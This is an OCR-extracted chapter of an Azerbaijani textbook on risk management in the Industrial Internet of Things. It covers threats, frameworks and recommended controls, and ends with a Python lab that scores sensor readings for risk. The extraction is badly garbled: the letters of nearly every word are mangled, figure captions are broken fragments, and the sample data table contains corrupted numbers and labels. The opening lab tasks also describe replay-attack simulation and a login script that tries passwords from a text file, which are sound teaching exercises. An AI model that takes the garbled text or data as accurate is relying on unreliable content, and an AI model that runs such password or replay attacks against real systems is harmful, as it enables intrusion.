
Replay hiicumunu simulyasiya edin vo naticosini geyd edin.

Istifadaci adlarini doyisib test edin — tohliiko doracasi neco doyisir?

Biitiin parollar1 bir .txt fayldan oxuyaraq login test scripti yazin.

Wireshark ils eyni paketlori bir nega dofs tutun — replay agkar olunurmu?

Servera daxil olan paketlorin intervalini l¢iin vo ——f1ood-un tosirini tohlil edin.
Hom GET, hom POST ilo giris sinag1 zamani tohliiko soviyyasini miiqayiso edin.
Rate-limit mexanizmi olava edin — test et vo naticani geyd et.

e Real TLS sertifikath sistem ilo bu sistemi miiqayiso edin — forqlori yazili tohlil et.
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3. Sanaye Osyalarin Internetinds Risk Idaraetmasi

Qeyd: Bu fosil "AzInTelecom” MMC-d> Komplayns va Risklorin Idara Olunmast iizra miitaxassis
Qurbanov Oli Murad oglu torafindan nazardan kegirilmis vo mazmun baximindan uygun hesab
edilmisdir.

3.1. Giris

Sonaye Osyalarin Interneti (IIoT) sonaye sahosindo daha genis olagolondirmo
vo optimallagdirma imkanlar1 yaratsa da, bu proseslo yanasi yeni tohliikolor vo
miirokkab risklor meydana cixir. Ragomsal sistemlorin sonaye infrastrukturu ilo
inteqrasiyasi, daha ¢ox molumatin toplanmasini, islonmasini va paylasilmasini tomin
edorok istehsalat sahosindo innovativ hollors yol acir. Lakin bu, eyni zamanda,
kibertohliikosizlik, moxfilik, tohliikasizlik zaifliklori vo molumat sizmasi kimi yeni
problemlori do glindomo gotirir.

Sonaye sistemlorinin bir-biri ilo six olagelondirilmasi, risklorin yayilma
ehtimalin1 artirir. Sonaye miiossisalorinin molumat tohliikasizliyi vo infrastrukturun
gorunmasi lizra effektiv strategiyalar formalagdirmamasi, ciddi naticolora sobab ola
bilor. Son illords bu problemlorls bagh aparilan todqiqatlarda kibertohliikasizlik,
sistemlorin zoif noqtolori vo moxfilik mosoloalori asas risk faktorlart kimi miioyyon
edilib. Bu sahado aparilan arasdirmalar, 11oT tohliikosizliyini tomin etmok tigiin
miixtolif yanagmalarin vo metodlarin islonmasinin vacibliyini vurgulayir (Sokil 3.1).

e Risklorin idars olunmasi iigiin strategiyalar

Miiasir IIoT sistemlorindo tohliikosizlik vo risklorin idaro olunmasi {i¢lin
ononavi yanasmalar yetorli deyil. Bunun ii¢iin davamli vo adaptiv risk idaroetmo
sistemlorine ehtiyac var. Tadqiqatlar gostorir ki, IIoT sobokoalorinin tohliikesizliyinin
tomin olunmasi {i¢lin miixtolif ¢orgivolor vo modellor islonmolidir. Bu yanagmalar
kibertohliikasizlik risklorinin monitoringi, tohliikesizlik zoifliklorinin tohlili vo IToT
miihitinds tohliikasiz infrastrukturun qurulmasini ohato etmolidir.

Risklorin effektiv idaro edilmosi {i¢clin on vacib elementlordon biri
kibertohliikosizlik strategiyalarinin gabaqcadan islonib hazirlanmasidir. Molumat
sizmalarinin va sistemlors geyri-qanuni miidaxilalorin qarsisini almagq ii¢iin qoruma
mexanizmlori avvalcodon planlasdirilmali vo totbiq edilmolidir. Bozi miiossisalor
kibertohliikasizliyi yalniz problem yarandigdan sonra holl etmoyo calisir. Bu
yanasma reaktiv xarakter dasiyir vo risklori tam aradan qaldirmir. ©ksina, proaktiv
todbirlor — gabaqlayici nozarat sistemlori, avtomatlasdirilmis tohliikasizlik todbirlori
va tokmillasdirilmis autentifikasiya mexanizmlori daha somarali naticolor verir.
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Sakil 3.1. IloT layihalarinda va tatbiglorinda rast galinan iimumi risklor

Keyfiyyat

Tahliikasizlik

e IloT-ds kibertahliikasizlik vo asas problemlar

[IoT-nin genis yayilmasi ilo sonaye saholorindo kibertohliikasizlik osas
prioritetlordon birino ¢evrilib. Todqiqatlar gostorir ki, miiossisalorin oksoriyyati [oT
avadanliqlarim1 alarkon osas narahatliglar1 kibertohliikosizliklo bagli olur. Miixtalif
Olkolordo aparilan sorgularin noticolorino goro, sonaye rohborlorinin boyiik bir
hissosi 10T tohliikoesizliyini strateji shomiyyatli mosalo kimi doyorlondirir.

Bununla belos, halo do global soviyyado vahid IoT tohliikesizlik standartlar1 vo
modellori mévcud deyil. Bir ¢ox miiossisolor [1oT sistemlorini totbiq etso do, onlarin
tohliikasizliyi tiglin xiisusi kibertohliikosizlik planlar1 hazirlamayib. Mdévcud
standartlarin vo metodlarin oksoriyyoti I1oT sistemlorinda risklorin idars olunmasini
tam ohato etmir. Noticodo, miiossisalor risklorin idars olunmasi li¢iin vahid yanasma
formalagdira bilmir vo bu da sistemlorin daha boytik tohliikalorls {izlogmasina sobab
olur.

[IoT sistemlorinin tohliikosizliyi vo risklorin effektiv idara edilmosi {igiin
davamli monitoring, qabaqlayici tadbirlor vo sistemli yanasma tolob olunur. IloT
mihitindo informasiya tohliikasizliyini tomin etmok ii¢iin reaktiv deyil, proaktiv
strategiyalar islonmolidir. Miiassisolor, I1oT sistemlorinin qorunmasini tomin etmok
ticlin daha effektiv autentifikasiya iisullarini totbiq etmaoli, soboko tohliikosizliyini
artirmali vo malumat qoruma protokollarini giiclondirmalidir.

Risklorin idars olunmasi iigiin miiossisalor daha strukturlagdirilmis metodlar
totbiq etmoli vo kibertohliikasizlik todbirlorini strateji planlarinin osas hissasing
cevirmalidirlor. Yalniz bu halda, IIoT sistemlarinin tohliikasiz vo somarali istifadasi
miimkiin olacaqdir.
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3.2. IloT-d> Risk Idaraetmasinin Miixtalif Aspektlari

[IoT-da risk idaraetmasinin miixtalif aspektlori bu bolmoads otrafli sokilds izah
edilir. Bu aspektlor, IIoT miihitinds risk idaroetmasi tigiin miihiim shomiyyot dasiyir.

3.2.1. IIoT sobakalorinds davaml risk monitoringi

[IoT sobakalorinde davamli risk monitoringi, bir-biri ilo olagali sonaye
sistemlorinin dayaniqhigini vo tohliikesizliyini tomin etmok {liglin kritik bir
praktikadir. Bu yanasma, biitlin omoliyyat texnologiyasi (OT), informasiya
texnologiyasi (IT) vo IIoT aktivlorinin davamli sokilde agkarlanmasini, tohlilini vo
monitoringini ohata edir.

Bu proses, hadiso vo hadiso idaroetmo alotlorini, homg¢inin kiber-fiziki
sistemlordoki tohliikesizlik bosluglarini  miioyyon etmok {i¢iin uygunsuz
davranislarin askarlanmasi1 mexanizmlorini 6ziindo birlosdirir.

Soboko faaliyyetlorinin davamli monitorinqi va prognozlasdirici texniki
xidmot strategiyalarinin totbiqi sayosindo, toskilatlar IloT sobokalorini kiber
tohdidlordon vo icazesiz girislordon qoruyaraq senaye omoliyyatlarinin {imumi
tohliikasizliyini vo dayanigligimi artirmig olur. Sokil 3.2 IloT-do davamli risk
idaraetmasi ligiin ¢or¢ivoni toqdim edir.

N

AN Kibertahliikasizlik Risklarinin Idarasedilmasi

-— EE—
o o

// Risk gostoricilari GON
d

/ Kibertahliikasizlik Omoliyyatlari
/'—_

Tohliika gostaricilori (IoC

More Probabilistic

Hadiso Idaraetmosi
/Tahliikasizlik \
Xoaboardarhgqlar:

Miiayyanlik Daracasi

Sakil 3.2. IloT-da davaml risk idaraetmasi iiciin carciva
3.2.2. IIoT iiciin tahliikasizlik risklorinin idarsedilmasi ¢orgivalori

[IoT ekosistemlorinin qorunmasinda tohliikosizlik risklorinin idarsedilmasi
cor¢ivalori miihiim rol oynay1r vo sonaye sistemlorinin bir-biri ilo alagsli olmasindan
irali golon unikal ¢atinliklori hall etmoys komok edir.

47



Sonaye Osyalarin Interneti Tohliikasizlik Corgivasi (IISF) bu sahada an ohatali
yanagmalardan biridir. Bu ¢ar¢ivo, [IoT miihitinds etibarli sistemlorin qurulmasi
liclin arxitektura vo on yaxsi1 tocriibalori toqdim edir. Bu ¢or¢ivo daxilindo miixtalif
risk 1daroetmo foaliyyatlori yer alir:

« Risk qiymatlondirmasi

o Zoifliklorin tohlili

o Penetrasiya testlori

« Ehtiyat niisxolomo vo borpa proseslori

Bu yanasmalar IIoT miihitinds kibertohliikasizliya hortorafli yanagmani tomin
edir.

Bundan olavo, todqiqatgilar IoT tohliikosizlik risklorinin idars edilmosi
strategiyasina dair yeni yanasmalar toklif etmislor (IoTSRM2). Bu model IloT
risklorinin idaro olunmasini yaxsilagdirmaq iigiin se¢ilmis IoT tohliikosizlik
tocriibolorino osaslanir. Bu corgivolor sonaye sektorunda inkisaf edon tohliiko
monzarasing qarst giiclii bir tohliikasizlik movgeyinin formalasdirilmasina tohfo
verir. Sokil 3.3 1IoT-do tohliikosizlik problemlorini, Sokil 3.4 iso IloT iigiin risk
idaraetmao corgivolorini togdim edir.

Lack of
Ransomware Visibility
loT

SECURITY
CHALLENGES

Botnet ' Data Privacy
Attacks

Sakil 3.3. loT tahliikasizlik problemlari
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Tahliikasizlik risklarinin
givmatlandirilmasi

Tahliikasiz carcivanin
> tathigi va saxlamlmasi
Tahlil va
takmillasdirma
k i
T Monitoring va
gevdaalma

Sakil 3.4. IloT iiciin tahliikasizlik risklarinin idaraedilmasi ¢arcivalari

3.2.3. Sonaye IoT-da kibertahliikasizlik tohdidlori

[oT-nin sonaye proseslorine inteqrasiyast miixtolif kibertohliikasizlik
tohdidlorini do ortaya ¢ixarir va bu risklor diqgatli yanasma tolab edir. Bir ne¢a elmi
moqalonin sistematik tohlili gdstorir ki, [IoT miihitinde moxfilik problemlori vo
kibercinayotkarliq hallar1 ciddi narahatliq dogurur.

Bu hallar, IIoT ekosistemindo daha giiclii kibertohliikasizlik todbirlorinin
zoruriliyini vurgulayir. Kibertohliikosizlikdo asason iki kritik sahodo problemlor
yaranir: maxfilik risklori vo kibercinayatkarliq tohdidlori.

Maxfilik risklori:

o Hossas molumatlarin agiqlanmasi

o Dinloms vo molumatin icazasiz alds edilmasi

o Mbolumat itkisi vo biitovliiyiiniin pozulmasi

o Istifadaci profilinin tortib edilmosi

o Moxfilik pozuntular1 vo molumatin s1izmasi

o Mbolumatin istismar1 vo moaxfiliyin qorunmasi ilo bagl narahatliglar

Kibercinayatkarhq tohdidlori:

« Kibercinayot hiicumlari

o Ictimai tohliikasizliya risklor

. Iqtisadi vo reputasiya zororlori

« Qlobal iqgtisadi tosirlor

o Soxsiyyet vo molumat ogurlugu

o Soxsiyyet saxtakarligi vo malumat manipulyasiyasi
« Sirkot vo togkilat aktivlorine hiicumlar
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o Hossas molumatlara icazasiz giris

Bu problemlar, IIoT sistemlorinin tohliikasizliyini tomin etmak iigiin ciddi
todbirlorin goriilmasini talab edir.

[oT ils bagl timumi risklor arasinda melumatin ogurlanmasi, cihazlarin alo
kecirilmasi vo paylanmis xidmotdon imtina (DDoS) hiicumlar: yer alir. Bu faktorlar
kibertahliikasizlik sahasindo miirakkab problemlor yaradir.

Bundan olave, proses sensorlarinda autentifikasiya vo tohliikesizlik
tadbirlorinin olmamasi, IloT-nin hall edilmasi ¢atin olan asas problemlarindon biri
kimi qeyd edilir. Bu bosluq amaliyyat ¢atinliklorine vo avadanliglarin miimkiin
zadoalonmasina sabab ola bilar.

[IoT-ya yonalmis kibertohliikoloro dair aparilan arasdirmalar hiicumcularin
sonaye tatbiglorini hadaf alma tisullariin miixtalifliyini vurgulayir va bu risklorin
basa diislilmasinin va aradan galdirilmasinin vacibliyini 6na ¢akir.

Sonaye 4.0 konsepsiyasinin genigslonmasi ilo bu tohliikoloro gars1 todbirlor
gormak vo onlarin tosirini azaltmaq sonaye proseslorinin tohliikasizliyini vo
blitovliiylinii gorumagq tigiin oldugca vacibdir (Sakil 3.5).

CDT - Kibertahliikassizlik Askarlama Texnikalar:

Koqnitiv
tohliikasizlik
texnikasi

Bulud Yeni meta-
hesablama heuristik
. texnikalan texnika

' Masm Siini
dyranmosi intellekt

tisulu

texnikalan

Sakil 3.5. Kibertahliikasizlik askarlama texnikalart

3.2.4. Miiasir IoT sistemlori iiciin dinamik risk qiymotlondirmasi

Dinamik risk gqiymotlondirmoalori (DRA) miiasir [oT sistemlorinin
tohliikasizliyinin tomin edilmasindo miihiim rol oynayir. Mdvcud tadqiqatlarda geyd
edildiyi kimi, IoT ekosistemlorinin dinamik tobioti, adaptiv risk gqiymoatlondirma
metodologiyalarini talab edir.
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Xiisusila tibbi sahayo osaslanan IoT sistemlorinds bu yanagmalar aktualdir.
Bela sistemlordas risklarin effektiv idare olunmasi va tohliikesizliyin qorunmasi ti¢iin
xiisusi metodologiyalara ehtiyac duyulur. IoT sistemlarinin miirokkab vo doyiskon
xarakteri, tohliiko monzerasinin davamli monitoringini vo yeni tohliikalora garsi
cevik miidafio strategiyalarinin hazirlanmasini talab edir.

Zamanla doyison funksiyalar1 modellosdirarok optimal kibertohliikasizlik
todbirlori formalasdiran yanasmalar real vaxt rejimindo risk idaroetmasino
ohomiyyatli téhfo verir. Umumilikdo, DRA-lar IoT ekosistemlarinda risklorin
proaktiv idare olunmast vo qarsiliglt olagali miihitlords tohliikasizliyin tomin
edilmosi tigiin vacib bir yanasmadir.

3.2.5. IoT risklorinin azaldilmasinda siyasot (Policy) idarsetmasinin
dhamiyyoti

Tohliikasizlik risklorinin azaldilmasinda effektiv siyasot idaroetmosi osas
amillordon biridir. Bu yanagsma IoT cihazlarina icazasiz girisin, istifadonin va
idaraetmonin garsisini almaga komaok edir.

Tohliikosiz siyasot ¢orgivalorinin yaradilmasi vo totbiqi IoT cihazlarina fiziki
vo montiqi girisin idars olunmas: {iclin miivafiq qaydalarin miioyyanlosdirilmasini
tolob edir. Bu yanagma yalniz potensial tohdidlordon qorunmani tomin etmir, hom do
[oT ekosistemlorindo zoifliklorin azaldilmasi tigiin sistemli bir metod togdim edir.

Siyasot idaroetmoasinin ohomiyyatini anlayan toskilatlar IoT tohliikasizlik
strategiyalarina bu elementi daxil etmolidirlor. Bu yolla potensial risklor proaktiv
sokildo aradan galdirilir vo IoT miihitinin dayanmiqlilig1 artirilir.

3.2.6. IoT sistemlorinin inteqrasiya risklori

[oT miihitinds farqli cihazlarin vo sistemlarin bir-biri ilo problemsiz qarsiligli
olagodo olmasi (interoperability) ugurlu IloT yerlosdirmolorinin osas sortlorindon
biridir. Lakin bu yanagsma miioyyon daxili risklor do yaradir.

Cihazlarin vo simsiz sobokolorin genis IoT ekosistemindo somorali islomasini
tomin etmok ¢otinliklor yarada bilor. Standartlasdirilmis rabito protokollarinin
olmamasi vo texnologiyalar arasindaki uygunsuzlug molumat aximindaki
uygunsuzluglara va sistem nasazliglarina gotirib ¢ixara bilor.

Bu problemloar IoT yerlosdirmalarinin etibarliligi vo funksionallig tigiin ciddi
tohliikolor yaradir. Sonaye standartlarinin totbiqi, cihazlar arasinda uygunlugun
tomin edilmosi vo miivafiq test vo dogrulama proseslorinin hoyata kegirilmosi bu
risklori azalda bilor. Bu todbirlor IoT tosobbiislorinin effektivliyini vo
mohsuldarligini artirmaga imkan yaradir.
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3.2.7. IIoT risklori uiciin real vaxth monitoring hallori

Real vaxtli monitoring hollori IIoT sistemlorindoki risklorin azaldilmasinda
mithiim rol oynayir. Bu hollor agilli sensorlar vo IoT cihazlart kimi gabaqcil
texnologiyalardan istifado edorok sonaye proseslori hagqinda davamli vo ani
molumatlar togdim edir.

Real vaxt rejimindo goriiniirliiylin tomin edilmosi sayosindo togkilatlar
anomaliyalari, miimkiin nasazliglar1 vo tohliikasizlik pozuntularini vaxtinda
askarlaya bilir, belolikls, proaktiv miidaxilalor hoyata ke¢irmok miimkiin olur.

Real vaxth voziyyst monitorinqi, masalon, istilik miibadilo qurgularinda
istifado edildiyi kimi, avadanligin voziyyatino operativ reaksiya vermoyo sorait
yaradir. Prognozlasdirict texniki xidmaet strategiyalari, I[IoT saboka monitoringi ilo
dostoklondikdo, sonaye miiossisaloring problemlori boyiimoadon avval hall etmoyo
imkan verir.

On qabaqcil [IoT monitoring hollori agilli sensorlart vo texnologiyalari
birlosdirarak sonaye saholorindo risklorin idars edilmasine kompleks yanasmani
tomin edir. IloT sonayeni transformasiya etmoyo davam etdikco, real vaxth
monitoring omoliyyat biitovliiyliniin  qorunmasi vo potensial risklorin
minimallasdirilmasi ii¢iin miihiim komponents ¢evrilir.

3.2.8. Sonaye IoT risklarinin idars edilmoasinds Siini intellektin rolu

Siini intellekt (AI) I1oT sistemlorindo risklorin idare edilmoasindo miihiim rol
oynayir. Tokmil analitika vo masin dyronmo texnikalarindan istifado etmoklo siini
intellekt 10T sistemlorinin tohliikasizliyini artirir, potensial tohdidlori vo zaifliklori
real vaxt rejimindo askar edorok minimallasdirmaga komok edir.

Siini intellektin totbiq saholori arasinda risk analitikasi da var. Al vo masin
oyronmo modellori IloT sobokolorindon toplanan molumatlar1 tohlil etmok {i¢iin
istifado edilir, xiisusilo sonaye miihitlorindo risklorin effektiv qiymotlondirilmasi vo
idars olunmasina komok edir.

Bundan olavo, IloT sistemlorindo siini intellekt osash totbiglor gézlonilmoz
dayanma hallarmin qarsisin1 almaga, yeni mohsul vo xidmatlorin togdim edilmosino
vo risklorin idaro edilmasi strategiyalarinin giiclondirilmasine tohfo verir. Siini
intellekt texnologiyalarinin, o ciimlodon masin Oyronmo vo dorin &yronmo
metodlariin istifado edilmosi Sonaye 4.0 c¢orgivosindo kiber tohliikosizlik
todbirlorinin giiclondirilmasi vo risklorin agilli sokildo azaldilmasi imkanlarini
niimayis etdirir (Sokil 3.6).

Al va IIoT-nin bu vohdati yalniz risklorin miioyyon edilmasi va idars olunmasi
ticlin deyil, eyni zamanda sonaye sistemlorinin dayaniqliligini vo etibarliligini tomin
etmok ticlin do boyiik ohomiyyat dasiyir.
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Sokil 3.6. Siini Intellekt va IoT-nin birlasmasi
3.2.9. IIoT sobakalorinds dayamqliliq strategiyalari

[IoT sobakslorinda dayanigliligin qorunmasi, amoliyyatlarin davamliligini
tomin etmok vo potensial risklori minimuma endirmak {i¢clin miithiim rol oynayir.
Miixtalif strategiyalar IIoT sistemlorinin moéhkomliyini artirmaga yonslmisdir. Bu
strategiyalar arasinda sonaye sobokolori {iclin xiisusi olaraq hazirlanmis
kibertohliikosizlik todbirlorinin totbiqi, o climlodon miidaxilo askarlama sistemlori
va tohliikasiz rabito protokollar: yer alir.

Bununla yanagi, IIoT ilo tochiz olunmus sonaye sobokolorinin qurulmasi
is¢ilorin tohliikosizliyinin artirilmasi, sistemlorin is vaxtinin optimallagdirilmasi vo
omoliyyat somoraliliyinin yiiksoldilmosi kimi masalalors do toxunur. Pandemiyadan
cixarilan dorslor gostorir ki, IIoT sobokolorinin doyison sortloro uygunlagma vo
mimkiin pozuntulara tez bir zamanda cavab vermok qabiliyyoti, uzunmiiddotli
ugurun tomin edilmasi ti¢iin vacibdir (Sakil 3.7).

3.2.10. IIoT risk idarsetmasindo malumat moxfiliyi masalalori

[IoT risk idaroetmosindo molumat moxfiliyi asason molumatlarin toplanmasi,
emali vo qorunmasi masalalori otrafinda comlonir. IIoT qurgularinin yaratdigi boytik
hocmdo molumatlar moxfiliyin pozulmasi riskini artirir vo soxsi molumatlarin
icazosiz istifadosino sorait yarada bilor. IloT miihitindo fordi molumatlarin
gorunmasi ti¢iin xtisusi todbirlorin hoyata kegirilmosi zoruridir. Ciinki bu sistemlor
cox vaxt istifado¢i molumatlarini toplayir vo emal edir, lakin yetorli molumat
mihafizosi todbirlori olmadan foaliyyot gostorir.

Bu problemlorin  halli ciddi tohliikesizlik protokollarinin  totbiqini,
ganunvericiliyo uygunlugu tomin etmoyi vo IloT miihitindo moxfiliyin
qorunmasinin shamiyyatini artirmagi tolob edir.
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Sakil 3.7. Dayamqli IoT sabakalari

3.2.11. IIoT tachizat zoncirindaki zaifliklor

[IoT tachizat zoncirindoki zaifliklar, istehsal vo paylama proseslorinds bir-biri
ilo olagoali qurgular vo komponentlor sobokosinin yaratdigi risklors isaro edir.

Bu zoifliklor miixtolif morhololordo — avadanliglarin todariikiindon program
tominat1 vo sistemlorin istifadoyo verilmosino godor Oziinii gostoro bilor. Saxta
avadanliglar, zoif program tominat1 vo IIoT qurgularinin uzagdan istismar edilmosi
ehtimali, tochizat zoncirindoki tohliikosizlik problemlorinin miirokkobliyini artirir.
[IoT infrastrukturunun stirotlo genislonmosi bu risklori daha da giiclondirir vo
tochizat zoncirinin hor bir halgasinin giiclii tohliikosizlik todbirlori ilo qorunmasinin
vacibliyini vurgulayir (Sokil 3.8).

Bu tohliikolorin qarsisim1 almaq tiglin sonaye standartlarinin totbiqi, cihazlar
arasinda uygunlugun tomin edilmosi, etibarli istehsalgilarla omokdasliq vo
sistemlorin ciddi sokildo sinaqdan kecirilmosi kimi todbirlorin hoyata kegirilmosi
tovsiyo olunur. Bu ciir todbirler, [IoT-nin etibarli vo effektiv islomosi ii¢lin vacib
olan osas tohliikasizlik toloblorini tomin etmoyos komok edir.

3.2.12. Sonaye 4.0 transformasiyalari va risk idarsetms proqramlari

Sonaye 4.0 rogomsal texnologiyalarin istehsal proseslorine inteqrasiyasi ilo
xarakterizo olunur vo hom imkanlar, hom do risklor yaradan yeni bir paradigma
doyisikliyi toqdim edir. Sokil 3.9 bu konsepsiyan1 miixtolif yeni texnologiyalarin
inteqrasiyasi vasitosilo niimayis etdirir. Sonaye 4.0-1n fasilosiz olagelondirmo vo
molumat yoniimlii tobioti inkisaf vo innovasiya tiglin genis imkanlar acir.
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Sakil 3.8. Sanayeda tachizat zancirinin idaraetma ¢argivasi

Lakin bu transformasiya kiber tohliikosizlik vo molumat moxfiliyi sahosindo
yeni ¢agirislar da ortaya ¢ixarir. Sonaye 4.0 togobbiislorino baglayan togkilatlar tiglin
mohkom risk idaroetmo proqramlarinin hoyata kegirilmosi zoruroto ¢evrilir. Bu
programlar kiber hiicumlar, moalumat s1izmalar1 vo qarsiliqli slagads olan sistemlorin
miirokkab idaragiliyi kimi problemlori hall etmolidir. Sonaye liderlori Sonaye 4.0
texnologiyalarinin istiinliiklorindon faydalanmaq tigiin risklorin idaro edilmosine
strateji ~ yanagsma  totbig etmoyin  vacibliyini = vurgulayir.  Rogomsal
transformasiyalarin potensial pozuntulardan qorunmasi vo agilli istehsalat
mihitlorinin dayanigliginin tomin edilmosi bu prosesds asas hodoflordon biridir.

3.3. IoT-d» Risk Idaraetmasi Uciin Tévsiya Olunan Addimlar

[oT-do giiclii risk idaraetmaosinin totbiqi kritik infrastrukturun qorunmasi ii¢iin
ohomiyyatlidir. Togkilatlar biitiin IloT cihazlarin1 vo sistemlorini qeydiyyata almaq
ticlin otrafli inventarlasdirma hoyata kegirmolidir. Bunun ardinca, miintozom risk
qiymotlondirmolori aparilmali, potensial zaifliklor vo miimkiin tohliikolor miioyyon
edilmolidir. IIoT sobokalorinin davamli monitoringi real vaxt rejiminds tohliikolorin
askarlanmasi ii¢iin vacibdir.

Hossas molumatlarin = Gtiiriilmosi  vo  saxlanmasi zamani end-to-end
sifrolomonin totbiqi zoruridir. Icazosiz girisin qarsisim almaq iigiin ciddi giris
nozaroti todbirlori hoyata kegirilmoalidir. Tochizat¢ilarin tohliikasizlik standartlarina
uygunlugu yoxlanmali vo hartorofli insident cavab plan1 hazirlanmalidir.
Kibertohliikosizlik  sahosindo on  yaxs1  tocriibolor iizro  omokdaslarin
tolimlondirilmasi timumi tohliikasizlik molumatliligini artirir vo miivafiq qaydalara
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uygunlugun qorunmasini tomin edir. [IoT tochizat zoncirinin tohliikasizliyinin tomin
edilmosi vo yenilomo idarsetmosinin vaxtinda hoyata kegirilmasi slavo qorunma

tomin edir.
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Sakil 3.9. Sanaye 4.0 konsepsiyast miixtalif texnologiyalarin inteqrasiyasi ila

The Industrial
Internet of Things

Fiziki tohliikasizlik todbirlori do IloT infrastrukturunun miihafizosine tohfo
verir. Soboko seqmentasiyasi tohdidlorin yayilmasinin qarsisini alir. Homginin,
tohliikasizlik molumatlar1 ilo bagli xobordarliglar sistemin miidafiosini giliclondirir.
Nohayot, miintozom tohliikosizlik auditi totbiq edilon risk idaroetmo todbirlorinin
effektivliyini qiymotlondirir.

Risk idaraetmosi tigiin tovsiyo olunan osas addimlar asagidakilardir:

o Aktivlorin inventarlasdirilmasi: IloT cihazlar1 vo sistemlorinin otrafli
siyahisinin tortib edilmosi.

« Risk qiymoatlondirmasi: Potensial zosifliklorin vo tohliikolorin miioyyan
edilmasi liglin miintozom qiymoatlondirmalorin aparilmasi.

o Davamh monitorinq: IIoT sobokolorindo real vaxt rejimindo tohliikalorin
askarlanmasi ti¢lin monitorinq mexanizmlarinin totbiqi.

o Mbolumatlarin sifralonmasi: Molumatlarin 6tiiriilmasi vo saxlanmasi zamani
ugtan-uca sifrolomonin tomin edilmaosi.

« Giris nazarati: Icazosiz girisin qarsisin1 almaq iiciin ciddi giris nozarati vo
autentifikasiya mexanizmlorinin totbiqi.

o Tachizatcilarin qiymatlondirilmasi: [IoT komponentlorinin tohliikosizlik
standartlarina uygunlugunun qiymatlondirilmasi.
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« Insident cavab plam: Tohliikosizlik insidentlorinin tosirini azaltmagq iigiin
insident cavab planinin hazirlanmasi vo miintazom yenilonmasi.

o 9mokdaslarin talimi: Kibertohliikosizlik lizra on yaxsi tocriibolors osaslanan
1s¢1 heyotin maariflondirilmosi.

o Tonzimlayici uygunluq: Hiiquqi vo tonzimloyici problemlorin qarsisini
almagq ii¢iin miivafiq qaydalara riayst edilmosi.

o Tachizat zoncirinin tahliikasizliyi: IIoT tochizat zoncirinin qorunmast va
miimkiin toxribatlarin qarsisinin alinmasi.

« Yeniloma idaraetmasi: IIoT cihazlarinin va sistemlarinin an son tohliikasizlik
yenilomoloari ils tomin edilmasi.

« Fiziki tohliikasizlik: 10T infrastrukturunun fiziki miidaxilolordon qorunmasi
liclin todbirlorin goriilmaosi.

« Saboka seqmentasiyasi: Potensial pozuntularin yayilmasinin qarsisint almaq
liclin soboko seqmentasiyasinin totbiqi.

o Toahliikasizlik kasfiyyati: Yeni yaranan tohdidlar va zaifliklor haqqinda daim
molumatli olmaq t¢iin tohliikasizlik kosfiyyatinin aparilmasi.

o Tohliikasizlik auditi: Risk idarcetmo todbirlorinin  effektivliyini
qiymaotlondirmak ii¢iin miintozom auditasiyanin aparilmasi.

Bu c¢oxsaxoli yanasma togkilatlarin inkisaf edon tohdid miihitindo ugurla
harakat etmasino komok edir vo [IoT ekosistemlorinin dayanigliligini tomin edir. Bu
addimlar birlikdo IIoT iigiin giiclii risk idaroetmo ¢orgivasi qurur vo inkisaf edon
kibertohliikolor garsisinda sonaye sistemlorinin dayaniqliligini qoruyur.

[IoT-do risk idaroetma sahosi miirokkob vo dinamikdir. Movcud todqiqatlarin
nozordon kecirilmosi gostorir ki, IIoT ekosistemlorindo kibertohliikosizlik
problemlori ¢oxsaxoli xarakter dasiyir. Kiberrisklorin idaro olunmasi {igilin
texnologiyalar vo gorgivolor IIoT cihazlar ilo bagh unikal zoifliklorin halli {i¢iin
inkisaf etdirilmisdir.

Odobiyyatda qeyd olunan dord soviyyali [oT kibertohliiks idaraetmo modeli
toskilatlara bu ¢otinliklors uygunlagmaq t¢iin strukturlagdirilmis yanasma togdim
edir. AWS kimi bulud xidmatlorinin inteqrasiyast hom imkanlar, hom do IloT
cihazlar1 torofindon yaradilan boyiik molumat hocminin idaro olunmasi ilo bagl
cotinliklor yaradir.

3.4. Praktiki Hissa va Tapsinglar

3.4.1. Sensor Malumatlarimin Risk Tohlili vo Vizual Monitorinqi

Moagqsad

Bu praktiki hissonin asas magsodi oxucuya IIoT (Industrial Internet of Things)
cihazlarindan toplanan real vo ya sintetik molumatlar tizorindo risk tohlili aparmagi,
kritik voziyyotlori avtomatik askarlamagi vo noticolori vizual formatda toqdim
etmayi Oyratmokdir.
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Olavo olaraq, praktiki is Google Colab platformasinda sinaqdan kegirilmigdir.
Bu da gostorir ki, laboratoriya tapsiriqlart hom yerli sistemlords (Ubuntu/Jetson
Nano), hom do bulud asashi otraflarda rahat sokildo icra edilo bilor.

Talablor:

« Google Colab vo ya Ubuntu/Linux (Raspberry Pi vo ya Jetson Nano da
uygundur)
o Python 3.8+

o Uygun dataset vo ya kitabda verilon fayl [Link:
https://www.icloud.com/iclouddrive/048DAbEEYFSmWJIpuS5pAiCd8d

ghiot sec labs |

o Lazimi kitabxanalar:
o pip install pandas matplotlib seaborn

v" Addim 1 — Datasetin yiiklonmasi v» ilkin baxis

Bu morholodo CSV fayli yiiklonir vo timestamp, temperature, humidity,
vibration_level, device status kimi siitunlar aragdirilir. Datasetdo nego “normal”,
“warning” vo “alert” statuslarinin oldugu miioyyon edilir.

e import pandas as pd

e df = pd.read csv("sensor_data_iot_ch3.csv",
parse_dates=["timestamp"])

¢ print(df.head())

¢ print(df.describe())

e print(df["device_status"].value_counts())

timestamp temperature humidity vibration_level device_status

9 2025-04-18 10:00:00 40.1 73 9.18 normal

1 2025-04-18 10:01:00 57.7 78 0.12 alert

2 2025-04-18 10:02:00 54.0 87 9.23 alert

3 2025-04-18 10:03:00 43.0 95 0.06 warning

4 2025-04-18 10:04:00 409.3 87 9.29 alert
timestamp temperature  humidity wvibration level

count 6@ 60.000000 60.000000 60.000000

mean 2025-04-18 10:29:29.959999744 48.836667 80.833333 9.1425600

min 2025-04-18 10:00:00 40.100000 71.000000 ©.020000

25% 2025-04-18 10:14:45 43.550000 75.750000 ©.070000

50% 2025-04-18 10:29:380 48.750000 79.000000 9.120000

75% 2025-04-18 10:44:15 54.125000 87.000000 9.220000

max 2025-04-18 10:59:00 59.600000 95.000000 9.300000

std NaN 5.771407 6.839979 9.085878

device status

alert 30

normal 18

warning 12

Name: count, dtype: intesa

Sakil 3.10. Datasetin iimumi malumatlarinin ¢ixarilmasi
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v' Addim 2 — Risk Skoru Hesablanmasi

Har bir miisahido {i¢iin risk soviyyasi hesablanaraq yiiksok riskli hallar

avtomatik askar edilir. Risk skoru tayin edildikden sonra artiq melumatlar yalniz
xam sensor gostaricilarindan ibarat deyil, hom doa tohliika saviyyslarini oks etdiron
skorla zonginlogdirilmis olur.

def compute risk (row):

score = 0

if row["temperature"] > 50: score +=1

if row["humidity"] > 85: score +=1

